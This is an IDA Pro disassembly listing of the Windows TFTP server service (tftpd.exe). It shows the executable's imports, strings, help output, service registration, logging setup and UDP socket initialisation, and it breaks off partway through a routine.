;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 5C52E3199DF34D2C40431CC1F79BC3CD
; File Name : u:\work\5c52e3199df34d2c40431cc1f79bc3cd_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 1000000
; Section 1. (virtual address 00001000)
; Virtual size : 00003310 ( 13072.)
; Section size in file : 00003400 ( 13312.)
; Offset to raw data for section: 00000600
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
;
; Imports from ADVAPI32.dll
;
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p
; DATA XREF: sub_10037BF+20r
; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable)
extrn StartServiceCtrlDispatcherA:dword ; CODE XREF: .text:0100164Bp
; DATA XREF: .text:0100164Br
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p
; sub_10037BF+99p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
extrn RegCloseKey:dword ; CODE XREF: sub_10037BF+143p
; DATA XREF: sub_10037BF+143r
; SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc)
extrn RegisterServiceCtrlHandlerA:dword ; CODE XREF: sub_1001665+4Ap
; sub_1003A6B+39p
; DATA XREF: ...
; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus)
extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap
; sub_1001665+F7p ...
;
; Imports from KERNEL32.dll
;
; void __stdcall ExitProcess(UINT uExitCode)
extrn ExitProcess:dword ; CODE XREF: .text:0100165Dp
; DATA XREF: .text:0100165Dr
; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize)
extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_1003910+34p
; DATA XREF: sub_1003910+34r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
extrn GetLocalTime:dword ; CODE XREF: sub_1002A3D+35p
; DATA XREF: sub_1002A3D+35r
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p
; DATA XREF: sub_1002901+48r
; void __stdcall SetLastError(DWORD dwErrCode)
extrn SetLastError:dword ; CODE XREF: sub_10027E1+83p
; sub_1002F31+1C3p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
extrn SetEvent:dword ; CODE XREF: sub_1001E73+36p
; DATA XREF: sub_1001E73+36r
; DWORD __stdcall ResumeThread(HANDLE hThread)
extrn ResumeThread:dword ; CODE XREF: HandlerProc+38p
; DATA XREF: HandlerProc+38r
; DWORD __stdcall GetLastError()
extrn GetLastError:dword ; CODE XREF: .text:01001655p
; sub_1001665:loc_1001762p ...
; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
extrn WaitForSingleObject:dword ; CODE XREF: sub_1001665+210p
; sub_1001A91+1ABp ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName)
extrn CreateEventA:dword ; CODE XREF: sub_1001665+7Ep
; sub_1001665+89p ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn InitializeCriticalSection:dword ; CODE XREF: sub_10018DB+12p
; sub_10018DB+19p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
extrn HeapCreate:dword ; CODE XREF: sub_10019F0+23p
; DATA XREF: sub_10019F0+23r
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn LeaveCriticalSection:dword ; CODE XREF: sub_1001A1F+68p
; sub_1001A91+B5p ...
; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem)
extrn HeapFree:dword ; CODE XREF: sub_1001A1F+58p
; DATA XREF: sub_1001A1F+58r
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_1001A1F+49p
; sub_1001E73+A9p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn EnterCriticalSection:dword ; CODE XREF: sub_1001A1F+Bp
; sub_1001A91+4Ep ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
extrn InterlockedIncrement:dword ; CODE XREF: sub_1001A91+27Cp
; sub_1001A91+2C1p
; DATA XREF: ...
; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds)
extrn WaitForMultipleObjects:dword ; CODE XREF: sub_1001A91+158p
; DATA XREF: sub_1001A91+158r
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
extrn HeapAlloc:dword ; CODE XREF: sub_1001A91+93p
; DATA XREF: sub_1001A91+93r
; BOOL __stdcall ResetEvent(HANDLE hEvent)
extrn ResetEvent:dword ; CODE XREF: sub_1001A91+75p
; DATA XREF: sub_1001A91+75r
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: .text:01001D94p
; sub_100205A+4Ep
; DATA XREF: ...
; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p
; .text:01001D9Bp
; DATA XREF: ...
; DWORD __stdcall SuspendThread(HANDLE hThread)
extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p
; DATA XREF: HandlerProc+50r
;
; Imports from MSVCRT.dll
;
extrn _initterm:dword ; DATA XREF: .text:01003BA6r
extrn __getmainargs:dword
extrn __setusermatherr:dword
extrn _lseek:dword ; CODE XREF: sub_1002F31+1F0p
; sub_1002F31+20Ap
; DATA XREF: ...
extrn _close:dword ; CODE XREF: sub_1002953+11p
; DATA XREF: sub_1002953+11r
extrn _read:dword ; CODE XREF: sub_10027E1+63p
; DATA XREF: sub_10027E1+63r
; void *__cdecl malloc(size_t Size)
extrn malloc:dword ; CODE XREF: sub_1001FA6+30p
; sub_100205A+93p ...
; void *__cdecl realloc(void *Memory, size_t NewSize)
extrn realloc:dword ; CODE XREF: sub_1001FA6+55p
; DATA XREF: sub_1001FA6+55r
; int __cdecl fclose(FILE *File)
extrn fclose:dword ; CODE XREF: sub_1001E73+CDp
; DATA XREF: sub_1001E73+CDr
; void __cdecl free(void *Memory)
extrn free:dword ; CODE XREF: sub_10018DB+75p
; sub_1001F54+47p ...
; time_t __cdecl time(time_t *Time)
extrn time:dword ; CODE XREF: sub_1001665+114p
; HandlerProc+8p
; DATA XREF: ...
extrn _chdir:dword ; CODE XREF: sub_1001665+19Fp
; sub_1001665+1BEp
; DATA XREF: ...
; int *__cdecl errno()
extrn _errno:dword ; CODE XREF: sub_1001665+1A7p
; sub_10027E1+7Dp ...
extrn _mkdir:dword ; CODE XREF: sub_1001665+1AEp
; DATA XREF: sub_1001665+1AEr
; FILE *__cdecl fopen(const char *Filename, const char *Mode)
extrn fopen:dword ; CODE XREF: sub_1001665+1DBp
; DATA XREF: sub_1001665+1DBr
; char *__cdecl ctime(const time_t *Time)
extrn ctime:dword ; CODE XREF: sub_1001665+1F7p
; HandlerProc+19p
; DATA XREF: ...
; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask)
extrn __imp__controlfp:dword ; DATA XREF: _controlfpr
extrn _except_handler3:dword ; DATA XREF: .text:01003BF0r
extrn __set_app_type:dword
extrn __p__fmode:dword
extrn __p__commode:dword
extrn _adjust_fdiv:dword
; int printf(const char *Format, ...)
extrn printf:dword ; CODE XREF: .text:010015C2p
; .text:010015CFp ...
extrn __p___initenv:dword
extrn __imp__XcptFilter:dword ; DATA XREF: _XcptFilterr
; void __cdecl exit(int Code)
extrn _exit:dword ; CODE XREF: .text:01003B7Ap
; DATA XREF: .text:01003B7Ar
extrn _open:dword ; CODE XREF: sub_1002F31+1A6p
; sub_100333A+1B9p
; DATA XREF: ...
extrn _write:dword ; CODE XREF: sub_100373A+5Bp
; DATA XREF: sub_100373A+5Br
; void __cdecl exit(int Code)
extrn exit:dword ; CODE XREF: .text:0100163Fp
; sub_1001665+C0p
; DATA XREF: ...
;
; Imports from WS2_32.dll
;
; SOCKET __stdcall WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags)
extrn WSASocketA:dword ; CODE XREF: sub_100205A+17p
; DATA XREF: sub_100205A+17r
; int __stdcall WSAGetLastError()
extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p
; sub_1001A91+12Bp ...
; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData)
extrn WSAStartup:dword ; CODE XREF: sub_1001665+A6p
; DATA XREF: sub_1001665+A6r
; int __stdcall WSAEventSelect(SOCKET s, HANDLE hEventObject, __int32 lNetworkEvents)
extrn WSAEventSelect:dword ; CODE XREF: sub_100188E+Cp
; DATA XREF: sub_100188E+Cr
; u_short __stdcall htons(u_short hostshort)
extrn htons:dword ; CODE XREF: sub_1001A91+1D2p
; sub_100230A+18p ...
; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags)
extrn WSAGetOverlappedResult:dword ; CODE XREF: sub_1001A91+18Ep
; DATA XREF: sub_1001A91+18Er
; u_short __stdcall ntohs(u_short netshort)
extrn ntohs:dword ; CODE XREF: sub_1001A91+11Ep
; sub_1002A3D+40p ...
; int __stdcall WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
extrn WSARecvFrom:dword ; CODE XREF: sub_1001A91+10Fp
; DATA XREF: sub_1001A91+10Fr
; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp)
extrn ioctlsocket:dword ; CODE XREF: sub_1001A91+2Ap
; DATA XREF: sub_1001A91+2Ar
; BOOL __stdcall WSACloseEvent(HANDLE hEvent)
extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp
; DATA XREF: sub_1001F54+1Cr
; int __stdcall closesocket(SOCKET s)
extrn closesocket:dword ; CODE XREF: sub_1001F54+13p
; sub_100205A+E7p ...
; char *__stdcall inet_ntoa(struct in_addr in)
extrn inet_ntoa:dword ; CODE XREF: sub_1002024+4p
; sub_1002F31+64p ...
; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen)
extrn bind:dword ; CODE XREF: sub_100205A+7Ap
; sub_1002F31+256p ...
; struct servent *__stdcall getservbyname(const char *name, const char *proto)
extrn getservbyname:dword ; CODE XREF: sub_100205A+37p
; DATA XREF: sub_100205A+37r
; SOCKET __stdcall socket(int af, int type, int protocol)
extrn socket:dword ; CODE XREF: sub_1002F31+22Ep
; sub_100333A+1EBp
; DATA XREF: ...
; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen)
extrn sendto:dword ; CODE XREF: sub_100230A+B6p
; sub_1002A3D+65p ...
;
; Imports from iphlpapi.dll
;
; DWORD __stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED overlapped)
extrn __imp_NotifyAddrChange:dword ; DATA XREF: NotifyAddrChanger
; DWORD __stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder)
extrn __imp_GetIpAddrTable:dword ; DATA XREF: GetIpAddrTabler
;
; Imports from ntdll.dll
;
; void *__cdecl memmove(void *Dst, const void *Src, size_t Size)
extrn memmove:dword ; CODE XREF: sub_100273D+72p
; DATA XREF: sub_100273D+72r
; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count)
extrn strncpy:dword ; CODE XREF: sub_1003910+24p
; DATA XREF: sub_1003910+24r
; int __cdecl isupper(int C)
extrn isupper:dword ; CODE XREF: sub_100333A+86p
; DATA XREF: sub_100333A+86r
; int __cdecl tolower(int C)
extrn tolower:dword ; CODE XREF: sub_1002F31+88p
; sub_100333A+95p
; DATA XREF: ...
extrn RtlUpdateTimer:dword ; CODE XREF: sub_1002A3D+BCp
; sub_1002B5E+114p ...
extrn RtlDeleteTimer:dword ; CODE XREF: sub_1002901+27p
; sub_1002A3D+FDp ...
; int __cdecl stricmp(const char *Str1, const char *Str2)
extrn _stricmp:dword ; CODE XREF: sub_10023D8+54p
; sub_10023D8+C6p ...
; int __cdecl atoi(const char *Str)
extrn atoi:dword ; CODE XREF: sub_10023D8+81p
; sub_10023D8+F2p
; DATA XREF: ...
; char *__cdecl itoa(int Val, char *DstBuf, int Radix)
extrn _itoa:dword ; CODE XREF: sub_10023D8:loc_1002597p
; DATA XREF: sub_10023D8:loc_1002597r
extrn RtlDeregisterWaitEx:dword ; CODE XREF: sub_1001F54+Ap
; sub_1002901+35p
; DATA XREF: ...
extrn __imp__chkstk:dword ; DATA XREF: _chkstkr
extrn RtlCreateTimerQueue:dword ; CODE XREF: sub_10018DB+81p
; DATA XREF: sub_10018DB+81r
extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p
; sub_10018DB+D6p
; DATA XREF: ...
extrn RtlCreateTimer:dword ; CODE XREF: sub_10018DB+A8p
; sub_1002F31+34Dp ...
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 100117Ch
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 2 dup(0)
dd 37ECADD7h, 0
dd 4, 110h, 0
dd 4C00h, 0
dd 37ECADD7h, 0
dd 3, 310h, 0
dd 4D10h, 0
dd 37ECADD7h, 0
dd 6, 2 dup(0)
dd 5020h, 0
dd 37ECADD7h, 0
dd 2, 1Ah, 0
db 90h
db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
db ' 22:17:18',0Ah,0
aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: .text:01001634o
; char aWritable[]
aWritable db 'writable',0 ; DATA XREF: .text:0100162Fo
; sub_10037BF+121o
align 4
aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: .text:01001626o
; char aReadable[]
aReadable db 'readable',0 ; DATA XREF: .text:01001621o
; sub_10037BF+F1o
align 4
aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: .text:01001618o
; char aMasters[]
aMasters db 'masters',0 ; DATA XREF: .text:01001613o
; sub_10037BF+C1o
aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: .text:0100160Ao
; char aClients[]
aClients db 'clients',0 ; DATA XREF: .text:01001605o
; sub_10037BF+8Eo
aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah
; DATA XREF: .text:010015FDo
db 0
align 4
aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: .text:010015F4o
; char ValueName[]
ValueName db 'directory',0 ; DATA XREF: .text:010015EFo
; sub_10037BF+5Co
align 4
aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
; DATA XREF: .text:010015E6o
; char SubKey[]
SubKey db 'System\CurrentControlSet\Services\tftpd\parameters',0
; DATA XREF: .text:010015E1o
; sub_10037BF+13o
align 10h
aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: .text:010015D8o
db 0Ah,0
align 4
; char Filename[]
Filename db 'tftpd.log',0 ; DATA XREF: .text:010015D3o
; sub_1001665+1D6o
align 4
aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: .text:010015CAo
align 4
; char Source[]
Source db '\tftpdroot\',0 ; DATA XREF: .text:010015C5o
; sub_1003910+1Eo
a? db '-?',0 ; DATA XREF: .text:01001580o
align 4
; char Mode[]
Mode db 'a+',0 ; DATA XREF: sub_1001665+1D1o
align 4
; char name[]
name db 'tftp',0 ; DATA XREF: sub_100205A+31o
align 10h
; char proto[]
proto db 'udp',0 ; DATA XREF: sub_100205A+2Co
aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
align 10h
aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo
align 10h
aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
align 10h
aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
align 4
aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o
align 4
aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o
align 4
aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o
; char aTsize[]
aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao
align 10h
; char aTimeout_0[]
aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o
; char Str2[]
Str2 db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo
aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
; sub_100333A+201o ...
align 10h
aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
; sub_100333A+1A0o
align 4
aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
; sub_100333A+159o
aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o
; sub_100333A:loc_100341Fo
align 10h
aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo
; sub_100333A:loc_10033E1o
align 4
asc_100155C: ; DATA XREF: sub_1003910+7Fo
unicode 0, <\>,0
dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; ---------------------------------------------------------------------------
cmp dword ptr [esp+4], 1
push esi
jle loc_1001646
mov eax, [esp+0Ch]
mov esi, offset a? ; "-?"
mov eax, [eax+4]
loc_1001588: ; CODE XREF: .text:010015A4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_10015AA
test cl, cl
jz short loc_10015A6
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_10015AA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_1001588
loc_10015A6: ; CODE XREF: .text:01001592j
xor eax, eax
jmp short loc_10015AF
; ---------------------------------------------------------------------------
loc_10015AA: ; CODE XREF: .text:0100158Ej
; .text:0100159Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_10015AF: ; CODE XREF: .text:010015A8j
test eax, eax
jnz loc_1001646
mov esi, ds:printf
push offset asc_1005010 ; " ======================================"...
call esi ; printf
pop ecx
push offset Source ; "\\tftpdroot\\"
push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n"
call esi ; printf
pop ecx
pop ecx
push offset Filename ; "tftpd.log"
push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n"
call esi ; printf
pop ecx
pop ecx
push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"...
push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
call esi ; printf
pop ecx
pop ecx
push offset ValueName ; "directory"
push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"...
call esi ; printf
pop ecx
push offset aClients ; "clients"
push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aMasters ; "masters"
push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aReadable ; "readable"
push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aWritable ; "writable"
push offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push 0FFFFFFFFh
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_1001646: ; CODE XREF: .text:01001576j
; .text:010015B1j
push offset off_1005CB0
call ds:StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA
test eax, eax
jnz short loc_100165B
call ds:GetLastError
loc_100165B: ; CODE XREF: .text:01001653j
push 0
call ds:ExitProcess ; ExitProcess
; ---------------------------------------------------------------------------
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_1001665 proc near ; DATA XREF: .data:01005CB4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push offset HandlerProc ; lpHandlerProc
push offset ServiceName ; "Tftpd"
mov ServiceStatus.dwServiceType, 30h
mov ServiceStatus.dwCurrentState, 2
mov ServiceStatus.dwControlsAccepted, ebp
mov ServiceStatus.dwCheckPoint, 1
mov ServiceStatus.dwWaitHint, 4E20h
mov ServiceStatus.dwWin32ExitCode, ebp
mov ServiceStatus.dwServiceSpecificExitCode, ebp
call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA
cmp eax, ebp
mov hServiceStatus, eax
jz loc_1001762
mov esi, ds:SetServiceStatus
mov edi, offset ServiceStatus
push edi ; lpServiceStatus
push eax ; hServiceStatus
call esi ; SetServiceStatus
cmp eax, ebp
jz loc_1001762
mov ebx, ds:CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
call ebx ; CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
mov hEvent, eax
call ebx ; CreateEventA
cmp hEvent, ebp
mov hObject, eax
jz short loc_100171C
cmp eax, ebp
jz short loc_100171C
push offset stru_1006140 ; lpWSAData
push 101h ; wVersionRequested
call ds:WSAStartup ; WSAStartup
cmp eax, 0FFFFFFFFh
jnz short loc_1001735
call ds:WSAGetLastError ; WSAGetLastError
loc_100171C: ; CODE XREF: sub_1001665+96j
; sub_1001665+9Aj ...
push 1Fh
call sub_1001E73
push 1 ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_100172C: ; CODE XREF: sub_1001665+218j
; sub_1001665+224j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_1001735: ; CODE XREF: sub_1001665+AFj
push edi ; lpServiceStatus
mov ServiceStatus.dwCurrentState, 4
push hServiceStatus ; hServiceStatus
mov ServiceStatus.dwControlsAccepted, 7
mov ServiceStatus.dwCheckPoint, ebp
mov ServiceStatus.dwWaitHint, ebp
call esi ; SetServiceStatus
cmp eax, ebp
jnz short loc_100176A
loc_1001762: ; CODE XREF: sub_1001665+57j
; sub_1001665+6Ej
call ds:GetLastError
jmp short loc_100171C
; ---------------------------------------------------------------------------
loc_100176A: ; CODE XREF: sub_1001665+FBj
push 9
pop ecx
xor eax, eax
mov edx, offset dword_10060C0
mov edi, edx
rep stosd
push edx ; Time
call ds:time ; time
pop ecx
mov edx, [esp+10h+arg_0]
dec edx
mov ebx, (offset dword_1005E07+1)
jz short loc_10017F3
mov eax, [esp+10h+arg_4]
lea eax, [eax+edx*4]
mov [esp+10h+arg_0], eax
loc_1001797: ; CODE XREF: sub_1001665+18Cj
mov eax, [esp+10h+arg_0]
mov eax, [eax]
cmp byte ptr [eax], 2Dh
jnz short loc_10017F3
movsx ecx, byte ptr [eax+1]
sub ecx, 64h
jz short loc_10017C9
dec ecx
jz short loc_10017BD
dec ecx
jnz short loc_10017E9
mov dword_1005DD8, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017BD: ; CODE XREF: sub_1001665+147j
mov dword_1005DD4, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017C9: ; CODE XREF: sub_1001665+144j
lea edi, [eax+2]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_10017E9: ; CODE XREF: sub_1001665+14Aj
; sub_1001665+156j ...
sub [esp+10h+arg_0], 4
dec edx
cmp edx, ebp
ja short loc_1001797
loc_10017F3: ; CODE XREF: sub_1001665+125j
; sub_1001665+13Bj
call sub_10037BF
call sub_1003910
mov esi, ds:_chdir
push ebx
call esi ; _chdir
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_100182E
call ds:_errno ; _errno
push ebx
call ds:_mkdir ; _mkdir
cmp eax, ebp
pop ecx
jnz loc_100171C
push ebx
call esi ; _chdir
cmp eax, ebp
pop ecx
jnz loc_100171C
loc_100182E: ; CODE XREF: sub_1001665+1A5j
cmp dword_1005DD8, ebp
jz short loc_1001857
push offset Mode ; "a+"
push offset Filename ; "tftpd.log"
call ds:fopen ; fopen
pop ecx
cmp eax, ebp
pop ecx
mov File, eax
jnz short loc_1001857
mov dword_1005DD8, ebp
loc_1001857: ; CODE XREF: sub_1001665+1CFj
; sub_1001665+1EAj
push offset dword_10060C0 ; Time
call ds:ctime ; ctime
pop ecx
call sub_10018DB
call sub_10019F0
push 0FFFFFFFFh ; dwMilliseconds
push hEvent ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
cmp eax, ebp
jz loc_100172C
call ds:GetLastError
jmp loc_100172C
sub_1001665 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100188E(SOCKET s, HANDLE hEventObject, char)
sub_100188E proc near ; CODE XREF: sub_100205A+D5p
; sub_1002F31+2A8p ...
var_4 = dword ptr -4
s = dword ptr 8
hEventObject = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push 3 ; lNetworkEvents
push [ebp+hEventObject] ; hEventObject
push [ebp+s] ; s
call ds:WSAEventSelect ; WSAEventSelect
test eax, eax
jz short loc_10018AE
call ds:GetLastError
xor eax, eax
jmp short locret_10018D7
; ---------------------------------------------------------------------------
loc_10018AE: ; CODE XREF: sub_100188E+14j
test [ebp+arg_8], 1
push 0
push 0FFFFFFFFh
push [ebp+s]
jz short loc_10018C2
push offset loc_1001D74
jmp short loc_10018C7
; ---------------------------------------------------------------------------
loc_10018C2: ; CODE XREF: sub_100188E+2Bj
push offset loc_1001DDB
loc_10018C7: ; CODE XREF: sub_100188E+32j
push [ebp+hEventObject]
lea eax, [ebp+var_4]
push eax
call ds:RtlRegisterWait ; RtlRegisterWait
mov eax, [ebp+var_4]
locret_10018D7: ; CODE XREF: sub_100188E+1Ej
leave
retn 0Ch
sub_100188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp
Memory = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ds:InitializeCriticalSection
push edi
push offset stru_1006080 ; lpCriticalSection
call esi ; InitializeCriticalSection
push offset stru_1006020 ; lpCriticalSection
call esi ; InitializeCriticalSection
mov eax, offset dword_1006098
mov dword_100609C, eax
mov dword_1006098, eax
mov eax, offset Memory
mov dword_100603C, eax
mov Memory, eax
lea eax, [ebp+Memory]
push eax
call sub_1001FA6
xor esi, esi
test eax, eax
jnz short loc_1001957
mov eax, [ebp+Memory]
xor ebx, ebx
cmp [eax], esi
jbe short loc_100194F
xor edi, edi
loc_100192E: ; CODE XREF: sub_10018DB+72j
mov ecx, [eax+edi+4]
cmp ecx, esi
jz short loc_1001947
cmp ecx, 100007Fh
jz short loc_1001947
push ecx ; in
call sub_100205A
mov eax, [ebp+Memory]
loc_1001947: ; CODE XREF: sub_10018DB+59j
; sub_10018DB+61j
inc ebx
add edi, 18h
cmp ebx, [eax]
jb short loc_100192E
loc_100194F: ; CODE XREF: sub_10018DB+4Fj
push eax ; Memory
call ds:free ; free
pop ecx
loc_1001957: ; CODE XREF: sub_10018DB+46j
push offset dword_10060A0
call ds:RtlCreateTimerQueue ; RtlCreateTimerQueue
cmp eax, esi
jnz loc_10019EB
mov eax, 0EA60h
push esi
push eax
push eax
push esi
push offset sub_10029BA
